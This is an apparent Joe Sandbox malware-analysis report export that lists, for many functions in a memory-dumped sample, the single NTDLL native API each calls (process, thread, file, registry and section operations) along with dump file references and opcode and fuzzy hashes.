Instruction ID: 8fc8b7311b43d95f8161fbaf72dcacec1fdeb298e3ed4ec1dde321c6f3760ae8
Opcode Fuzzy Hash: f91d6b410ee7b9701f6ee9ad6bbf457b5a1c01fb254ef7ee62d98ffe41de44ee
Instruction Fuzzy Hash: B1019CB620525DBFAB10CE8ADCC5DEBBB6DFB8D794B444005BB5997202C270AC54CBB0

Function 00E2ACA0 Relevance: 1.5, APIs: 1, Instructions: 44nativeCOMMON

Download Yara Rule

APIs

NtCreateProcessEx.NTDLL(?,?,?,?,?,?,?,?,?), ref: 00E2ACE8

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c7b89b79ede767e9c28884347317aa6030022bf8124a5de65f21f9bef604d5c0
Instruction ID: 4840a89a59c1c8c9e8ea1f980c439ecefa2e2778a5e53b3de86f69a98c575cfb
Opcode Fuzzy Hash: c7b89b79ede767e9c28884347317aa6030022bf8124a5de65f21f9bef604d5c0
Instruction Fuzzy Hash: 2DF012B220421DBFA710DE8ADCC5DEBBB6CFB8D7A0B444015BB0893241C270AC10CBB0

Function 00E2AE14 Relevance: 1.5, APIs: 1, Instructions: 44filenativeCOMMON

Download Yara Rule

APIs

NtNotifyChangeDirectoryFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 00E2AE5C

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: ChangeDirectoryFileNotify
String ID:
API String ID: 1357473996-0
Opcode ID: 279e8a1dd7572df740c4b3fa70768af657cb05b8bd2087a5c1d881e533191fde
Instruction ID: f1c56c63d7d33c2e0cc0349f350fe6a5d6377242778f17a7a3463968dd8fc1ec
Opcode Fuzzy Hash: 279e8a1dd7572df740c4b3fa70768af657cb05b8bd2087a5c1d881e533191fde
Instruction Fuzzy Hash: 69F0FFB2504259BF9700CE9ADCC4DEB7F6CFB8D6A4B454014FA4893201C230AC50C7B1

Function 00E2B2E0 Relevance: 1.5, APIs: 1, Instructions: 44filenativeCOMMON

Download Yara Rule

APIs

NtWriteFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 00E2B328

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 3bea5cf4c1a0cac50ef8a76f174bdb87477ecb7e738abcdce4b44647befa34af
Instruction ID: 3c2d3851d8ab021e5e5a151a4c5af49fd113a3445aa0df661bce5317d0963404
Opcode Fuzzy Hash: 3bea5cf4c1a0cac50ef8a76f174bdb87477ecb7e738abcdce4b44647befa34af
Instruction Fuzzy Hash: 07F09CB6204259BFAB10CE8AECC9DEB7B6CFB8D764B444005BA5897211C270AD10C7B0

Function 00E2ABE4 Relevance: 1.5, APIs: 1, Instructions: 40nativethreadCOMMON

Download Yara Rule

APIs

NtCreateThread.NTDLL(?,?,?,?,?,?,?,?), ref: 00E2AC24

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 4ac56103890ce0f03aebaa667a295a308c8b2b2b0a44df2290f0ac830b222526
Instruction ID: c4e04b36175b70c5312196821656e3e7413dcc0b6138248090decd8443fbd6d2
Opcode Fuzzy Hash: 4ac56103890ce0f03aebaa667a295a308c8b2b2b0a44df2290f0ac830b222526
Instruction Fuzzy Hash: 12F054B22041D87F9B108E9ADC89DF77F6CEBCE2A4F088415FA4893201C270AC50C7B0

Function 00E2AC50 Relevance: 1.5, APIs: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtCreateProcess.NTDLL(?,?,?,?,?,?,?,?), ref: 00E2AC90

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: d3d91a50c09c00699f35710b538f4a7f41219096360926363b645d097c9b0c33
Instruction ID: 52cab142cb7a9c5f8baffb3b29b54e29d6a39b055668b1204d936ab42512290b
Opcode Fuzzy Hash: d3d91a50c09c00699f35710b538f4a7f41219096360926363b645d097c9b0c33
Instruction Fuzzy Hash: C0F0D0B61042597FE710DE86DCC9DF7BB6CEB8D7A5B444015BA0897151D230AD50C7B0

Function 00E2AF04 Relevance: 1.5, APIs: 1, Instructions: 40nativeCOMMON

Download Yara Rule

APIs

NtAccessCheck.NTDLL(?,?,?,?,?,?,?,?), ref: 00E2AF44

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: AccessCheck
String ID:
API String ID: 3492747997-0
Opcode ID: d563bf6c83779d88cc3e80599b972e343d159c3871be3edb809ed41ad72cc995
Instruction ID: c4d4489ae80e29497bc4331a1a812589462ee08927fbf51708fb47e259b71f13
Opcode Fuzzy Hash: d563bf6c83779d88cc3e80599b972e343d159c3871be3edb809ed41ad72cc995
Instruction Fuzzy Hash: B2F0B7B6204259BFA710CE8ADCC9DAB7B6CEB8D7A4B448019FA0897201C270AD50C7B0

Function 00E2B028 Relevance: 1.5, APIs: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtCreateKey.NTDLL(?,?,?,?,?,?,?), ref: 00E2B060

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: d0fb2747035ff52c928fd1ef60dc94ae584b89e5cc8f3e2440778107b0ef897b
Instruction ID: 37e68059c07e11b8b20fd85e1a8352b680df4f2adf96b3d1cf3d288f71844559
Opcode Fuzzy Hash: d0fb2747035ff52c928fd1ef60dc94ae584b89e5cc8f3e2440778107b0ef897b
Instruction Fuzzy Hash: 86F01CB6204218BFA7108E86EC88DEB7F6DEBC97A4F008005BA28A7101D270AD50C7B0

Function 00E2B3F4 Relevance: 1.5, APIs: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtDuplicateObject.NTDLL(?,?,?,?,?,?,?), ref: 00E2B42C

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: DuplicateObject
String ID:
API String ID: 3677547684-0
Opcode ID: bba0e37d8dde9fb59d64a9d94e0ef0d979ce925ed9d78219ae73100f34ce0674
Instruction ID: 797ed65de91ce565779b7e5d0bb429804eb41ccb12ca2bcaf0c5c034413543e1
Opcode Fuzzy Hash: bba0e37d8dde9fb59d64a9d94e0ef0d979ce925ed9d78219ae73100f34ce0674
Instruction Fuzzy Hash: 2CF01CF61042587FA7109E86ECC8DEB7B6CEBC97A4B444015FA58A7211C270AD00C7B0

Function 00E2B5EC Relevance: 1.5, APIs: 1, Instructions: 36nativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,?,?,?,?,?,?), ref: 00E2B624

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: CreateSection
String ID:
API String ID: 2449625523-0
Opcode ID: 41c59ea679ad66993c82bf62ca02ceea481621373266d1b2244862a17adf7a35
Instruction ID: 8c92d9496e3bfa35eeba968eaac669bacd38e37cfc1bf859403eb1b495ef2ea8
Opcode Fuzzy Hash: 41c59ea679ad66993c82bf62ca02ceea481621373266d1b2244862a17adf7a35
Instruction Fuzzy Hash: 1EF01CB610525C7FA7108E96EC88DF77B6CEBC97A4F408015F64897201D270AC05C7B0

Function 00E2AFE8 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtQueryValueKey.NTDLL(?,?,?,?,?,?), ref: 00E2B018

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: e131e610f44a31635e37f42707e5c46d66bee58b2db2f175172b78cb1dfb9970
Instruction ID: b134f13f77187ec94fac494f26faffa80eabed894ddbbf960bb1bac4cd5ebece
Opcode Fuzzy Hash: e131e610f44a31635e37f42707e5c46d66bee58b2db2f175172b78cb1dfb9970
Instruction Fuzzy Hash: 64E012B2104158BFE7119B56EC49DFB7F6DDBC97A4B044019F52597101C271AC40C7B0

Function 00E2AF74 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtEnumerateValueKey.NTDLL(?,?,?,?,?,?), ref: 00E2AFA4

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: EnumerateValue
String ID:
API String ID: 1749906896-0
Opcode ID: f8b4a88108c55446b020bf56b1de8d0a3cd1ca028e70aa93941dbca21ff8529f
Instruction ID: d653514404057535021b00943d739314955ee1968e410466f38b9a059bd54dc0
Opcode Fuzzy Hash: f8b4a88108c55446b020bf56b1de8d0a3cd1ca028e70aa93941dbca21ff8529f
Instruction Fuzzy Hash: 4FE012B2115168BFA7109F5AEC8DDF77F6CDBC97A4B048019FA0597141C2706C05D7B0

Function 00E2B0B0 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtSetValueKey.NTDLL(?,?,?,?,?,?), ref: 00E2B0E0

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 024b7a3d4236615763f45ffd7da39aaa5efb6738edf8c7e3201a320f1b4f5ec3
Instruction ID: 46052eb001853235fe4772174cb3cb6e8416dd54e7116a13d1f0863a90f0d7e4
Opcode Fuzzy Hash: 024b7a3d4236615763f45ffd7da39aaa5efb6738edf8c7e3201a320f1b4f5ec3
Instruction Fuzzy Hash: C0E012B6108158BFE7108B96EC88DF77F2CDBC57A4F044019F65897151D271AC00C7B0

Function 00E2B070 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtEnumerateKey.NTDLL(?,?,?,?,?,?), ref: 00E2B0A0

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: Enumerate
String ID:
API String ID: 304946047-0
Opcode ID: c907fdf04377985d2a15386c2b87ef4619b5212d0d062b17f699e42a1bff1d18
Instruction ID: 57194ae2904bf8c23c957de8fec86385e632edb8d06f75e29d689b21f33391ce
Opcode Fuzzy Hash: c907fdf04377985d2a15386c2b87ef4619b5212d0d062b17f699e42a1bff1d18
Instruction Fuzzy Hash: 18E012B2104168BFA7108B96EC89DF7BF2CEBC57A4B009419BA1497241C2716C44C7B0

Function 00E2B1E0 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtQueryMultipleValueKey.NTDLL(?,?,?,?,?,?), ref: 00E2B210

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: MultipleQueryValue
String ID:
API String ID: 23559346-0
Opcode ID: a255d34203b4ee810116383f16df2d83d01fdfd25bd42817fe3d7a285dbf0b3c
Instruction ID: 7d3c74d5dcb00d8f85c8b78c6b2eaab3602d284b333e9f38481bc8804c8b7715
Opcode Fuzzy Hash: a255d34203b4ee810116383f16df2d83d01fdfd25bd42817fe3d7a285dbf0b3c
Instruction Fuzzy Hash: 7EE012B2509268BFE7108B96EC88DFB7F2CDBC97A4B048419F50497251C2706D00C7B0

Function 00E2B778 Relevance: 1.5, APIs: 1, Instructions: 32filenativeCOMMON

Download Yara Rule

APIs

NtOpenFile.NTDLL(?,?,?,?,?,?), ref: 00E2B7A8

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: FileOpen
String ID:
API String ID: 2669468079-0
Opcode ID: 375495165a09bfd0148e71c482ec0888651c1adbb91e7f616f97d03deba1765e
Instruction ID: 415cadc1564a624b5ef9caea9c423f62109afccf88c713f9f6d4aa0febd2c254
Opcode Fuzzy Hash: 375495165a09bfd0148e71c482ec0888651c1adbb91e7f616f97d03deba1765e
Instruction Fuzzy Hash: 9EE0EDA61051587FA6109B96EC8DDF77F6CDBC57A4B10411ABA4897140C2706C04C6B0

Function 00E2ABB0 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,?,?,?), ref: 00E2ABD7

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: b89d9d6ccbff38a613554705f263322953df3765febee9af2834f36ebeabe1c9
Instruction ID: 9ba758e5e566e1b363f13ca32e2396d60e095ed6b1551b73605225167e685784
Opcode Fuzzy Hash: b89d9d6ccbff38a613554705f263322953df3765febee9af2834f36ebeabe1c9
Instruction Fuzzy Hash: AAE08CA21041B87F9214569BAC0CDF7BF6CCBC27B0B048029B889A21008270AC04C2F0

Function 00E2ADE0 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQuerySecurityObject.NTDLL(?,?,?,?,?), ref: 00E2AE07

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: ObjectQuerySecurity
String ID:
API String ID: 718582247-0
Opcode ID: bdb0cca42ecef868e312a0b736b017e2fa5a23076df124c7df07eeba8fe035cc
Instruction ID: affbb43fe8d1c716873edd0273591cda8a77babf323d81a2269082a8221d9476
Opcode Fuzzy Hash: bdb0cca42ecef868e312a0b736b017e2fa5a23076df124c7df07eeba8fe035cc
Instruction Fuzzy Hash: 8BE08CA11042247F9310564BAC0DDF7BF6CCBC27B1B058029B549F210092B0AD85C2F0

Function 00E2AD8C Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtSetVolumeInformationFile.NTDLL(?,?,?,?,?), ref: 00E2ADB3

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: FileInformationVolume
String ID:
API String ID: 2893123674-0
Opcode ID: 17b9cfeab10ad1f05f946839734bf6ef8f6f53bedbe7bf8ebef457e1b8ebd7d1
Instruction ID: 2b1fe6824dcf7888029f40a0f8a8ec4c9b94ecc78a7d2664b58ea69091cc4c9a
Opcode Fuzzy Hash: 17b9cfeab10ad1f05f946839734bf6ef8f6f53bedbe7bf8ebef457e1b8ebd7d1
Instruction Fuzzy Hash: EBE08CA1018168BFD3206B5BAC0DDF77F2CDBC27B2B08902AB588A2140C270AC44C2B0

Function 00E2AFB4 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQueryKey.NTDLL(?,?,?,?,?), ref: 00E2AFDB

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: Query
String ID:
API String ID: 3850148591-0
Opcode ID: 9aca57ac34602bb2a17352230db765b25f110bc5d8b0737040c96c7843789c53
Instruction ID: 44a6daba88c820e3e624fb6e42365fa9f1519dd6bb04ee10fa8b88927b13189a
